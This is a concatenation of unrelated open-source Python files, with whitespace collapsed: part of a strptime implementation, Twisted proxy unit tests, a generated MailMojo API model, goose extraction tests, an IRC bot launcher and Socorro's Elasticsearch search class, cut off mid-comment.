isinstance(arg, str): msg = "strptime() argument {} must be str, not {}" raise TypeError(msg.format(index, type(arg))) global _TimeRE_cache, _regex_cache with _cache_lock: if _getlang() != _TimeRE_cache.locale_time.lang: _TimeRE_cache = TimeRE() _regex_cache.clear() if len(_regex_cache) > _CACHE_MAX_SIZE: _regex_cache.clear() locale_time = _TimeRE_cache.locale_time format_regex = _regex_cache.get(format) if not format_regex: try: format_regex = _TimeRE_cache.compile(format) # KeyError raised when a bad format is found; can be specified as # \\, in which case it was a stray % but with a space after it except KeyError as err: bad_directive = err.args[0] if bad_directive == "\\": bad_directive = "%" del err raise ValueError("'%s' is a bad directive in format '%s'" % (bad_directive, format)) from None # IndexError only occurs when the format string is "%" except IndexError: raise ValueError("stray %% in format '%s'" % format) from None _regex_cache[format] = format_regex found = format_regex.match(data_string) if not found: raise ValueError("time data %r does not match format %r" % (data_string, format)) if len(data_string) != found.end(): raise ValueError("unconverted data remains: %s" % data_string[found.end():]) year = None month = day = 1 hour = minute = second = fraction = 0 tz = -1 tzoffset = None # Default to -1 to signify that values not known; not critical to have, # though week_of_year = -1 week_of_year_start = -1 # weekday and julian defaulted to -1 so as to signal need to calculate # values weekday = julian = -1 found_dict = found.groupdict() for group_key in found_dict.keys(): # Directives not explicitly handled below: # c, x, X # handled by making out of other directives # U, W # worthless without day of the week if group_key == 'y': year = int(found_dict['y']) # Open Group specification for strptime() states that a %y #value in the range of [00, 68] is in the century 2000, while #[69,99] is in the century 1900 if year <= 68: year += 2000 else: year += 1900 elif group_key == 'Y': year = int(found_dict['Y']) elif group_key == 'm': month = int(found_dict['m']) elif group_key == 'B': month = locale_time.f_month.index(found_dict['B'].lower()) elif group_key == 'b': month = locale_time.a_month.index(found_dict['b'].lower()) elif group_key == 'd': day = int(found_dict['d']) elif group_key == 'H': hour = int(found_dict['H']) elif group_key == 'I': hour = int(found_dict['I']) ampm = found_dict.get('p', '').lower() # If there was no AM/PM indicator, we'll treat this like AM if ampm in ('', locale_time.am_pm[0]): # We're in AM so the hour is correct unless we're # looking at 12 midnight. # 12 midnight == 12 AM == hour 0 if hour == 12: hour = 0 elif ampm == locale_time.am_pm[1]: # We're in PM so we need to add 12 to the hour unless # we're looking at 12 noon. # 12 noon == 12 PM == hour 12 if hour != 12: hour += 12 elif group_key == 'M': minute = int(found_dict['M']) elif group_key == 'S': second = int(found_dict['S']) elif group_key == 'f': s = found_dict['f'] # Pad to always return microseconds. s += "0" * (6 - len(s)) fraction = int(s) elif group_key == 'A': weekday = locale_time.f_weekday.index(found_dict['A'].lower()) elif group_key == 'a': weekday = locale_time.a_weekday.index(found_dict['a'].lower()) elif group_key == 'w': weekday = int(found_dict['w']) if weekday == 0: weekday = 6 else: weekday -= 1 elif group_key == 'j': julian = int(found_dict['j']) elif group_key in ('U', 'W'): week_of_year = int(found_dict[group_key]) if group_key == 'U': # U starts week on Sunday. week_of_year_start = 6 else: # W starts week on Monday. week_of_year_start = 0 elif group_key == 'z': z = found_dict['z'] tzoffset = int(z[1:3]) * 60 + int(z[3:5]) if z.startswith("-"): tzoffset = -tzoffset elif group_key == 'Z': # Since -1 is default value only need to worry about setting tz if # it can be something other than -1. found_zone = found_dict['Z'].lower() for value, tz_values in enumerate(locale_time.timezone): if found_zone in tz_values: # Deal with bad locale setup where timezone names are the # same and yet time.daylight is true; too ambiguous to # be able to tell what timezone has daylight savings if (time.tzname[0] == time.tzname[1] and time.daylight and found_zone not in ("utc", "gmt")): break else: tz = value break leap_year_fix = False if year is None and month == 2 and day == 29: year = 1904 # 1904 is first leap year of 20th century leap_year_fix = True elif year is None: year = 1900 # If we know the week of the year and what day of that week, we can figure # out the Julian day of the year. if julian == -1 and week_of_year != -1 and weekday != -1: week_starts_Mon = True if week_of_year_start == 0 else False julian = _calc_julian_from_U_or_W(year, week_of_year, weekday, week_starts_Mon) # Cannot pre-calculate datetime_date() since can change in Julian # calculation and thus could have different value for the day of the week # calculation. if julian == -1: # Need to add 1 to result since first day of the year is 1, not 0. julian = datetime_date(year, month, day).toordinal() - \ datetime_date(year, 1, 1).toordinal() + 1 else: # Assume that if they bothered to include Julian day it will # be accurate. datetime_result = datetime_date.fromordinal((julian - 1) + datetime_date(year, 1, 1).toordinal()) year = datetime_result.year month = datetime_result.month day = datetime_result.day if weekday == -1: weekday = datetime_date(year, month, day).weekday() # Add timezone info tzname = found_dict.get("Z") if tzoffset is not None: gmtoff = tzoffset * 60 else: gmtoff = None if leap_year_fix: # the caller didn't supply a year but asked for Feb 29th. We couldn't # use the default of 1900 for computations. We set it back to ensure # that February 29th is smaller than March 1st. year = 1900 return (year, month, day, hour, minute, second, weekday, julian, tz, tzname, gmtoff), fraction def _strptime_time(data_string, format="%a %b %d %H:%M:%S %Y"): """Return a time struct based on the input string and the format string.""" tt = _strptime(data_string, format)[0] return time.struct_time(tt[:time._STRUCT_TM_ITEMS]) def _strptime_datetime(cls, data_string, format="%a %b %d %H:%M:%S %Y"): """Return a class cls instance based on the input string and the format string.""" tt, fraction = _strptime(data_string, format) tzname, gmtoff = tt[-2:] args = tt[:6] + (fraction,) if gmtoff is not None: tzdelta = datetime_timedelta(seconds=gmtoff) if tzname: tz = datetime_timezone(tzdelta, tzname) else: tz = datetime_timezone(tzdelta) args += (tz,) return cls(*args)
kmonsoor/python-for-android
refs/heads/master
python-modules/twisted/twisted/web/test/test_proxy.py
49
# Copyright (c) 2007-2010 Twisted Matrix Laboratories. # See LICENSE for details. """ Test for L{twisted.web.proxy}. """ from twisted.trial.unittest import TestCase from twisted.test.proto_helpers import StringTransportWithDisconnection from twisted.test.proto_helpers import MemoryReactor from twisted.web.resource import Resource from twisted.web.server import Site from twisted.web.proxy import ReverseProxyResource, ProxyClientFactory from twisted.web.proxy import ProxyClient, ProxyRequest, ReverseProxyRequest from twisted.web.test.test_web import DummyRequest class ReverseProxyResourceTestCase(TestCase): """ Tests for L{ReverseProxyResource}. """ def _testRender(self, uri, expectedURI): """ Check that a request pointing at C{uri} produce a new proxy connection, with the path of this request pointing at C{expectedURI}. """ root = Resource() reactor = MemoryReactor() resource = ReverseProxyResource("127.0.0.1", 1234, "/path", reactor) root.putChild('index', resource) site = Site(root) transport = StringTransportWithDisconnection() channel = site.buildProtocol(None) channel.makeConnection(transport) # Clear the timeout if the tests failed self.addCleanup(channel.connectionLost, None) channel.dataReceived("GET %s HTTP/1.1\r\nAccept: text/html\r\n\r\n" % (uri,)) # Check that one connection has been created, to the good host/port self.assertEquals(len(reactor.tcpClients), 1) self.assertEquals(reactor.tcpClients[0][0], "127.0.0.1") self.assertEquals(reactor.tcpClients[0][1], 1234) # Check the factory passed to the connect, and its given path factory = reactor.tcpClients[0][2] self.assertIsInstance(factory, ProxyClientFactory) self.assertEquals(factory.rest, expectedURI) self.assertEquals(factory.headers["host"], "127.0.0.1:1234") def test_render(self): """ Test that L{ReverseProxyResource.render} initiates a connection to the given server with a L{ProxyClientFactory} as parameter. """ return self._testRender("/index", "/path") def test_renderWithQuery(self): """ Test that L{ReverseProxyResource.render} passes query parameters to the created factory. """ return self._testRender("/index?foo=bar", "/path?foo=bar") def test_getChild(self): """ The L{ReverseProxyResource.getChild} method should return a resource instance with the same class as the originating resource, forward port, host, and reactor values, and update the path value with the value passed. """ reactor = MemoryReactor() resource = ReverseProxyResource("127.0.0.1", 1234, "/path", reactor) child = resource.getChild('foo', None) # The child should keep the same class self.assertIsInstance(child, ReverseProxyResource) self.assertEquals(child.path, "/path/foo") self.assertEquals(child.port, 1234) self.assertEquals(child.host, "127.0.0.1") self.assertIdentical(child.reactor, resource.reactor) def test_getChildWithSpecial(self): """ The L{ReverseProxyResource} return by C{getChild} has a path which has already been quoted. """ resource = ReverseProxyResource("127.0.0.1", 1234, "/path") child = resource.getChild(' /%', None) self.assertEqual(child.path, "/path/%20%2F%25") class DummyChannel(object): """ A dummy HTTP channel, that does nothing but holds a transport and saves connection lost. @ivar transport: the transport used by the client. @ivar lostReason: the reason saved at connection lost. """ def __init__(self, transport): """ Hold a reference to the transport. """ self.transport = transport self.lostReason = None def connectionLost(self, reason): """ Keep track of the connection lost reason. """ self.lostReason = reason class ProxyClientTestCase(TestCase): """ Tests for L{ProxyClient}. """ def _parseOutHeaders(self, content): """ Parse the headers out of some web content. @param content: Bytes received from a web server. @return: A tuple of (requestLine, headers, body). C{headers} is a dict of headers, C{requestLine} is the first line (e.g. "POST /foo ...") and C{body} is whatever is left. """ headers, body = content.split('\r\n\r\n') headers = headers.split('\r\n') requestLine = headers.pop(0) return ( requestLine, dict(header.split(': ') for header in headers), body) def makeRequest(self, path): """ Make a dummy request object for the URL path. @param path: A URL path, beginning with a slash. @return: A L{DummyRequest}. """ return DummyRequest(path) def makeProxyClient(self, request, method="GET", headers=None, requestBody=""): """ Make a L{ProxyClient} object used for testing. @param request: The request to use. @param method: The HTTP method to use, GET by default. @param headers: The HTTP headers to use expressed as a dict. If not provided, defaults to {'accept': 'text/html'}. @param requestBody: The body of the request. Defaults to the empty string. @return: A L{ProxyClient} """ if headers is None: headers = {"accept": "text/html"} path = '/' + request.postpath return ProxyClient( method, path, 'HTTP/1.0', headers, requestBody, request) def connectProxy(self, proxyClient): """ Connect a proxy client to a L{StringTransportWithDisconnection}. @param proxyClient: A L{ProxyClient}. @return: The L{StringTransportWithDisconnection}. """ clientTransport = StringTransportWithDisconnection() clientTransport.protocol = proxyClient proxyClient.makeConnection(clientTransport) return clientTransport def assertForwardsHeaders(self, proxyClient, requestLine, headers): """ Assert that C{proxyClient} sends C{headers} when it connects. @param proxyClient: A L{ProxyClient}. @param requestLine: The request line we expect to be sent. @param headers: A dict of headers we expect to be sent. @return: If the assertion is successful, return the request body as bytes. """ self.connectProxy(proxyClient) requestContent = proxyClient.transport.value() receivedLine, receivedHeaders, body = self._parseOutHeaders( requestContent) self.assertEquals(receivedLine, requestLine) self.assertEquals(receivedHeaders, headers) return body def makeResponseBytes(self, code, message, headers, body): lines = ["HTTP/1.0 %d %s" % (code, message)] for header, values in headers: for value in values: lines.append("%s: %s" % (header, value)) lines.extend(['', body]) return '\r\n'.join(lines) def assertForwardsResponse(self, request, code, message, headers, body): """ Assert that C{request} has forwarded a response from the server. @param request: A L{DummyRequest}. @param code: The expected HTTP response code. @param message: The expected HTTP message. @param headers: The expected HTTP headers. @param body: The expected response body. """ self.assertEquals(request.responseCode, code) self.assertEquals(request.responseMessage, message) receivedHeaders = list(request.responseHeaders.getAllRawHeaders()) receivedHeaders.sort() expectedHeaders = headers[:] expectedHeaders.sort() self.assertEquals(receivedHeaders, expectedHeaders) self.assertEquals(''.join(request.written), body) def _testDataForward(self, code, message, headers, body, method="GET", requestBody="", loseConnection=True): """ Build a fake proxy connection, and send C{data} over it, checking that it's forwarded to the originating request. """ request = self.makeRequest('foo') client = self.makeProxyClient( request, method, {'accept': 'text/html'}, requestBody) receivedBody = self.assertForwardsHeaders( client, '%s /foo HTTP/1.0' % (method,), {'connection': 'close', 'accept': 'text/html'}) self.assertEquals(receivedBody, requestBody) # Fake an answer client.dataReceived( self.makeResponseBytes(code, message, headers, body)) # Check that the response data has been forwarded back to the original # requester. self.assertForwardsResponse(request, code, message, headers, body) # Check that when the response is done, the request is finished. if loseConnection: client.transport.loseConnection() # Even if we didn't call loseConnection, the transport should be # disconnected. This lets us not rely on the server to close our # sockets for us. self.assertFalse(client.transport.connected) self.assertEquals(request.finished, 1) def test_forward(self): """ When connected to the server, L{ProxyClient} should send the saved request, with modifications of the headers, and then forward the result to the parent request. """ return self._testDataForward( 200, "OK", [("Foo", ["bar", "baz"])], "Some data\r\n") def test_postData(self): """ Try to post content in the request, and check that the proxy client forward the body of the request. """ return self._testDataForward( 200, "OK", [("Foo", ["bar"])], "Some data\r\n", "POST", "Some content") def test_statusWithMessage(self): """ If the response contains a status with a message, it should be forwarded to the parent request with all the information. """ return self._testDataForward( 404, "Not Found", [], "") def test_contentLength(self): """ If the response contains a I{Content-Length} header, the inbound request object should still only have C{finish} called on it once. """ data = "foo bar baz" return self._testDataForward( 200, "OK", [("Content-Length", [str(len(data))])], data) def test_losesConnection(self): """ If the response contains a I{Content-Length} header, the outgoing connection is closed when all response body data has been received. """ data = "foo bar baz" return self._testDataForward( 200, "OK", [("Content-Length", [str(len(data))])], data, loseConnection=False) def test_headersCleanups(self): """ The headers given at initialization should be modified: B{proxy-connection} should be removed if present, and B{connection} should be added. """ client = ProxyClient('GET', '/foo', 'HTTP/1.0', {"accept": "text/html", "proxy-connection": "foo"}, '', None) self.assertEquals(client.headers, {"accept": "text/html", "connection": "close"}) def test_keepaliveNotForwarded(self): """ The proxy doesn't really know what to do with keepalive things from the remote server, so we stomp over any keepalive header we get from the client. """ headers = { "accept": "text/html", 'keep-alive': '300', 'connection': 'keep-alive', } expectedHeaders = headers.copy() expectedHeaders['connection'] = 'close' del expectedHeaders['keep-alive'] client = ProxyClient('GET', '/foo', 'HTTP/1.0', headers, '', None) self.assertForwardsHeaders( client, 'GET /foo HTTP/1.0', expectedHeaders) def test_defaultHeadersOverridden(self): """ L{server.Request} within the proxy sets certain response headers by default. When we get these headers back from the remote server, the defaults are overridden rather than simply appended. """ request = self.makeRequest('foo') request.responseHeaders.setRawHeaders('server', ['old-bar']) request.responseHeaders.setRawHeaders('date', ['old-baz']) request.responseHeaders.setRawHeaders('content-type', ["old/qux"]) client = self.makeProxyClient(request, headers={'accept': 'text/html'}) self.connectProxy(client) headers = { 'Server': ['bar'], 'Date': ['2010-01-01'], 'Content-Type': ['application/x-baz'], } client.dataReceived( self.makeResponseBytes(200, "OK", headers.items(), '')) self.assertForwardsResponse( request, 200, 'OK', headers.items(), '') class ProxyClientFactoryTestCase(TestCase): """ Tests for L{ProxyClientFactory}. """ def test_connectionFailed(self): """ Check that L{ProxyClientFactory.clientConnectionFailed} produces a B{501} response to the parent request. """ request = DummyRequest(['foo']) factory = ProxyClientFactory('GET', '/foo', 'HTTP/1.0', {"accept": "text/html"}, '', request) factory.clientConnectionFailed(None, None) self.assertEquals(request.responseCode, 501) self.assertEquals(request.responseMessage, "Gateway error") self.assertEquals( list(request.responseHeaders.getAllRawHeaders()), [("Content-Type", ["text/html"])]) self.assertEquals( ''.join(request.written), "<H1>Could not connect</H1>") self.assertEquals(request.finished, 1) def test_buildProtocol(self): """ L{ProxyClientFactory.buildProtocol} should produce a L{ProxyClient} with the same values of attributes (with updates on the headers). """ factory = ProxyClientFactory('GET', '/foo', 'HTTP/1.0', {"accept": "text/html"}, 'Some data', None) proto = factory.buildProtocol(None) self.assertIsInstance(proto, ProxyClient) self.assertEquals(proto.command, 'GET') self.assertEquals(proto.rest, '/foo') self.assertEquals(proto.data, 'Some data') self.assertEquals(proto.headers, {"accept": "text/html", "connection": "close"}) class ProxyRequestTestCase(TestCase): """ Tests for L{ProxyRequest}. """ def _testProcess(self, uri, expectedURI, method="GET", data=""): """ Build a request pointing at C{uri}, and check that a proxied request is created, pointing a C{expectedURI}. """ transport = StringTransportWithDisconnection() channel = DummyChannel(transport) reactor = MemoryReactor() request = ProxyRequest(channel, False, reactor) request.gotLength(len(data)) request.handleContentChunk(data) request.requestReceived(method, 'http://example.com%s' % (uri,), 'HTTP/1.0') self.assertEquals(len(reactor.tcpClients), 1) self.assertEquals(reactor.tcpClients[0][0], "example.com") self.assertEquals(reactor.tcpClients[0][1], 80) factory = reactor.tcpClients[0][2] self.assertIsInstance(factory, ProxyClientFactory) self.assertEquals(factory.command, method) self.assertEquals(factory.version, 'HTTP/1.0') self.assertEquals(factory.headers, {'host': 'example.com'}) self.assertEquals(factory.data, data) self.assertEquals(factory.rest, expectedURI) self.assertEquals(factory.father, request) def test_process(self): """ L{ProxyRequest.process} should create a connection to the given server, with a L{ProxyClientFactory} as connection factory, with the correct parameters: - forward comment, version and data values - update headers with the B{host} value - remove the host from the URL - pass the request as parent request """ return self._testProcess("/foo/bar", "/foo/bar") def test_processWithoutTrailingSlash(self): """ If the incoming request doesn't contain a slash, L{ProxyRequest.process} should add one when instantiating L{ProxyClientFactory}. """ return self._testProcess("", "/") def test_processWithData(self): """ L{ProxyRequest.process} should be able to retrieve request body and to forward it. """ return self._testProcess( "/foo/bar", "/foo/bar", "POST", "Some content") def test_processWithPort(self): """ Check that L{ProxyRequest.process} correctly parse port in the incoming URL, and create a outgoing connection with this port. """ transport = StringTransportWithDisconnection() channel = DummyChannel(transport) reactor = MemoryReactor() request = ProxyRequest(channel, False, reactor) request.gotLength(0) request.requestReceived('GET', 'http://example.com:1234/foo/bar', 'HTTP/1.0') # That should create one connection, with the port parsed from the URL self.assertEquals(len(reactor.tcpClients), 1) self.assertEquals(reactor.tcpClients[0][0], "example.com") self.assertEquals(reactor.tcpClients[0][1], 1234) class DummyFactory(object): """ A simple holder for C{host} and C{port} information. """ def __init__(self, host, port): self.host = host self.port = port class ReverseProxyRequestTestCase(TestCase): """ Tests for L{ReverseProxyRequest}. """ def test_process(self): """ L{ReverseProxyRequest.process} should create a connection to its factory host/port, using a L{ProxyClientFactory} instantiated with the correct parameters, and particulary set the B{host} header to the factory host. """ transport = StringTransportWithDisconnection() channel = DummyChannel(transport) reactor = MemoryReactor() request = ReverseProxyRequest(channel, False, reactor) request.factory = DummyFactory("example.com", 1234) request.gotLength(0) request.requestReceived('GET', '/foo/bar', 'HTTP/1.0') # Check that one connection has been created, to the good host/port self.assertEquals(len(reactor.tcpClients), 1) self.assertEquals(reactor.tcpClients[0][0], "example.com") self.assertEquals(reactor.tcpClients[0][1], 1234) # Check the factory passed to the connect, and its headers factory = reactor.tcpClients[0][2] self.assertIsInstance(factory, ProxyClientFactory) self.assertEquals(factory.headers, {'host': 'example.com'})
eliksir/mailmojo-python-sdk
refs/heads/master
mailmojo_sdk/models/inline_response200.py
1
# coding: utf-8 """ MailMojo API v1 of the MailMojo API # noqa: E501 OpenAPI spec version: 1.1.0 Contact: hjelp@mailmojo.no Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six class InlineResponse200(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. """ """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'data': 'list[NewsletterDetail]', 'meta': 'PageMeta' } attribute_map = { 'data': 'data', 'meta': 'meta' } def __init__(self, data=None, meta=None): # noqa: E501 """InlineResponse200 - a model defined in Swagger""" # noqa: E501 self._data = None self._meta = None self.discriminator = None if data is not None: self.data = data if meta is not None: self.meta = meta @property def data(self): """Gets the data of this InlineResponse200. # noqa: E501 :return: The data of this InlineResponse200. # noqa: E501 :rtype: list[NewsletterDetail] """ return self._data @data.setter def data(self, data): """Sets the data of this InlineResponse200. :param data: The data of this InlineResponse200. # noqa: E501 :type: list[NewsletterDetail] """ self._data = data @property def meta(self): """Gets the meta of this InlineResponse200. # noqa: E501 :return: The meta of this InlineResponse200. # noqa: E501 :rtype: PageMeta """ return self._meta @meta.setter def meta(self, meta): """Sets the meta of this InlineResponse200. :param meta: The meta of this InlineResponse200. # noqa: E501 :type: PageMeta """ self._meta = meta def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.swagger_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value if issubclass(InlineResponse200, dict): for key, value in self.items(): result[key] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, InlineResponse200): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
robmcdan/python-goose
refs/heads/develop
tests/extractors/publishdate.py
15
# -*- coding: utf-8 -*- """\ This is a python port of "Goose" orignialy licensed to Gravity.com under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. Python port was written by Xavier Grangier for Recrutae Gravity.com licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from base import TestExtractionBase class TestPublishDate(TestExtractionBase): def test_publish_date(self): article = self.getArticle() self.runArticleAssertions(article=article, fields=['publish_date']) def test_publish_date_rnews(self): article = self.getArticle() self.runArticleAssertions(article=article, fields=['publish_date']) def test_publish_date_article(self): article = self.getArticle() self.runArticleAssertions(article=article, fields=['publish_date']) def test_publish_date_schema(self): article = self.getArticle() self.runArticleAssertions(article=article, fields=['publish_date'])
Morphux/IRC-Bot
refs/heads/master
main.py
1
#!/usr/bin/python # -*- coding: utf8 -*- # IRC MORPHUX BOT v2 # By: Louis <louis@ne02ptzero.me> #18:09 @Ne02ptzero: !ascii CL4P_TP #18:09 @CL4P_TP: _____ _ _ _ _____ _______ _____ #18:09 @CL4P_TP: / ____| | | || | | __ \ \__ __| __ \ #18:09 @CL4P_TP: | | | | | || |_| |__) | | | | |__) | #18:09 @CL4P_TP: | | | | |__ _| ___/ | | | ___/ #18:09 @CL4P_TP: | |____| |____| | | | | | | | #18:09 @CL4P_TP: \_____|______|_| |_| |_| |_| #18:09 @CL4P_TP: ________ #18:09 @CL4P_TP: |________| from morphux import Morphux import time import imp import sys # sys.setdefaultencoding() does not exist, here! imp.reload(sys) # Reload does the trick! #sys.setdefaultencoding('UTF8') main = Morphux("config.json") main.connect() main.loadModules() main.loop()
AdrianGaudebert/socorro
refs/heads/master
socorro/external/es/supersearch.py
2
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. import datetime import re from collections import defaultdict from elasticsearch.exceptions import NotFoundError, RequestError from elasticsearch_dsl import A, F, Q, Search from socorro.lib import ( BadArgumentError, MissingArgumentError, datetimeutil, ) from socorro.lib.search_common import SearchBase BAD_INDEX_REGEX = re.compile('\[\[(.*)\] missing\]') ELASTICSEARCH_PARSE_EXCEPTION_REGEX = re.compile( 'ElasticsearchParseException\[Failed to parse \[([^\]]+)\]\]' ) class SuperSearch(SearchBase): def __init__(self, *args, **kwargs): self.config = kwargs.get('config') self.es_context = self.config.elasticsearch.elasticsearch_class( self.config.elasticsearch ) super(SuperSearch, self).__init__(*args, **kwargs) def get_connection(self): with self.es_context() as conn: return conn def get_list_of_indices(self, from_date, to_date, es_index=None): """Return the list of indices to query to access all the crash reports that were processed between from_date and to_date. The naming pattern for indices in elasticsearch is configurable, it is possible to have an index per day, per week, per month... Parameters: * from_date datetime object * to_date datetime object """ if es_index is None: es_index = self.config.elasticsearch.elasticsearch_index indices = [] current_date = from_date while current_date <= to_date: index = current_date.strftime(es_index) # Make sure no index is twice in the list # (for weekly or monthly indices for example) if index not in indices: indices.append(index) current_date += datetime.timedelta(days=1) return indices def get_indices(self, dates): """Return the list of indices to use for given dates. """ start_date = None end_date = None for date in dates: if '>' in date.operator: start_date = date.value if '<' in date.operator: end_date = date.value return self.get_list_of_indices(start_date, end_date) def get_full_field_name(self, field_data): if not field_data['namespace']: return field_data['in_database_name'] return '{}.{}'.format( field_data['namespace'], field_data['in_database_name'], ) def format_field_names(self, hit): """Return a hit with each field's database name replaced by its exposed name. """ new_hit = {} for field_name in self.request_columns: field = self.all_fields[field_name] database_field_name = self.get_full_field_name(field) new_hit[field_name] = hit.get(database_field_name) return new_hit def format_fields(self, hit): """Return a well formatted document. Elasticsearch returns values as lists when using the `fields` option. This function removes the list when it contains zero or one element. It also calls `format_field_names` to correct all the field names. """ hit = self.format_field_names(hit) for field in hit: if isinstance(hit[field], (list, tuple)): if len(hit[field]) == 0: hit[field] = None elif len(hit[field]) == 1: hit[field] = hit[field][0] return hit def get_field_name(self, value, full=True): try: field_ = self.all_fields[value] except KeyError: raise BadArgumentError( value, msg='Unknown field "%s"' % value ) if not field_['is_returned']: # Returning this field is not allowed. raise BadArgumentError( value, msg='Field "%s" is not allowed to be returned' % value ) field_name = self.get_full_field_name(field_) if full and field_['has_full_version']: # If the param has a full version, that means what matters # is the full string, and not its individual terms. field_name += '.full' return field_name def format_aggregations(self, aggregations): """Return aggregations in a form that looks like facets. We used to expose the Elasticsearch facets directly. This is thus needed for backwards compatibility. """ aggs = aggregations.to_dict() def _format(aggregation): if 'buckets' not in aggregation: # This is a cardinality aggregation, there are no terms. return aggregation for i, bucket in enumerate(aggregation['buckets']): new_bucket = { 'term': bucket.get('key_as_string', bucket['key']), 'count': bucket['doc_count'], } facets = {} for key in bucket: # Go through all sub aggregations. Those are contained in # all the keys that are not 'key' or 'count'. if key in ('key', 'key_as_string', 'doc_count'): continue facets[key] = _format(bucket[key]) if facets: new_bucket['facets'] = facets aggregation['buckets'][i] = new_bucket return aggregation['buckets'] for agg in aggs: aggs[agg] = _format(aggs[agg]) return aggs def get(self, **kwargs): """Return a list of results and aggregations based on parameters. The list of accepted parameters (with types and default values) is in the database and can be accessed with the super_search_fields service. """ # Require that the list of fields be passed. if not kwargs.get('_fields'): raise MissingArgumentError('_fields') self.all_fields = kwargs['_fields'] # Filter parameters and raise potential errors. params = self.get_parameters(**kwargs) # Find the indices to use to optimize the elasticsearch query. indices = self.get_indices(params['date']) # Create and configure the search object. search = Search( using=self.get_connection(), index=indices, doc_type=self.config.elasticsearch.elasticsearch_doctype, ) # Create filters. filters = [] histogram_intervals = {} for field, sub_params in params.items(): sub_filters = None for param in sub_params: if param.name.startswith('_'): # By default, all param values are turned into lists, # even when they have and can have only one value. # For those we know there can only be one value, # so we just extract it from the made-up list. if param.name == '_results_offset': results_from = param.value[0] elif param.name == '_results_number': results_number = param.value[0] if results_number > 1000: raise BadArgumentError( '_results_number', msg=( '_results_number cannot be greater ' 'than 1,000' ) ) if results_number < 0: raise BadArgumentError( '_results_number', msg='_results_number cannot be negative' ) elif param.name == '_facets_size': facets_size = param.value[0] # Why cap it? # Because if the query is covering a lot of different # things you can get a really really large query # which can hog resources excessively. # Downloading, as an example, 100k facets (and 0 hits) # when there is plenty of data yields a 11MB JSON # file. if facets_size > 10000: raise BadArgumentError( '_facets_size greater than 10,000' ) for f in self.histogram_fields: if param.name == '_histogram_interval.%s' % f: histogram_intervals[f] = param.value[0] # Don't use meta parameters in the query. continue field_data = self.all_fields[param.name] name = self.get_full_field_name(field_data) if param.data_type in ('date', 'datetime'): param.value = datetimeutil.date_to_string(param.value) elif param.data_type == 'enum': param.value = [x.lower() for x in param.value] elif param.data_type == 'str' and not param.operator: param.value = [x.lower() for x in param.value] # Operators needing wildcards, and the associated value # transformation with said wildcards. operator_wildcards = { '~': '*%s*', # contains '^': '%s*', # starts with '$': '*%s' # ends with } # Operators needing ranges, and the associated Elasticsearch # comparison operator. operator_range = { '>': 'gt', '<': 'lt', '>=': 'gte', '<=': 'lte', } args = {} filter_type = 'term' filter_value = None if not param.operator: # contains one of the terms if len(param.value) == 1: val = param.value[0] if not isinstance(val, basestring) or ' ' not in val: # There's only one term and no white space, this # is a simple term filter. filter_value = val else: # If the term contains white spaces, we want to # perform a phrase query. filter_type = 'query' args = Q( 'simple_query_string', query=param.value[0], fields=[name], default_operator='and', ).to_dict() else: # There are several terms, this is a terms filter. filter_type = 'terms' filter_value = param.value elif param.operator == '=': # is exactly if field_data['has_full_version']: name = '%s.full' % name filter_value = param.value elif param.operator in operator_range: filter_type = 'range' filter_value = { operator_range[param.operator]: param.value } elif param.operator == '__null__': filter_type = 'missing' args['field'] = name elif param.operator == '__true__': filter_type = 'term' filter_value = True elif param.operator == '@': filter_type = 'regexp' if field_data['has_full_version']: name = '%s.full' % name filter_value = param.value elif param.operator in operator_wildcards: filter_type = 'query' # Wildcard operations are better applied to a non-analyzed # field (called "full") if there is one. if field_data['has_full_version']: name = '%s.full' % name q_args = {} q_args[name] = ( operator_wildcards[param.operator] % param.value ) query = Q('wildcard', **q_args) args = query.to_dict() if filter_value is not None: args[name] = filter_value if args: new_filter = F(filter_type, **args) if param.operator_not: new_filter = ~new_filter if sub_filters is None: sub_filters = new_filter elif filter_type == 'range': sub_filters &= new_filter else: sub_filters |= new_filter continue if sub_filters is not None: filters.append(sub_filters) search = search.filter(F('bool', must=filters)) # Restricting returned fields. fields = [] # We keep track of the requested columns in order to make sure we # return those column names and not aliases for example. self.request_columns = [] for param in params['_columns']: for value in param.value: if not value: continue self.request_columns.append(value) field_name = self.get_field_name(value, full=False) fields.append(field_name) search = search.fields(fields) # Sorting. sort_fields = [] for param in params['_sort']: for value in param.value: if not value: continue # Values starting with a '-' are sorted in descending order. # In order to retrieve the database name of the field, we # must first remove the '-' part and add it back later. # Example: given ['product', '-version'], the results will be # sorted by ascending product then descending version. desc = False if value.startswith('-'): desc = True value = value[1:] field_name = self.get_field_name(value) if desc: # The underlying library understands that '-' means # sorting in descending order. field_name = '-' + field_name sort_fields.append(field_name) search = search.sort(*sort_fields) # Pagination. results_to = results_from + results_number search = search[results_from:results_to] # Create facets. if facets_size: self._create_aggregations( params, search, facets_size, histogram_intervals ) # Query and compute results. hits = [] if params['_return_query'][0].value[0]: # Return only the JSON query that would be sent to elasticsearch. return { 'query': search.to_dict(), 'indices': indices, } errors = [] # We call elasticsearch with a computed list of indices, based on # the date range. However, if that list contains indices that do not # exist in elasticsearch, an error will be raised. We thus want to # remove all failing indices until we either have a valid 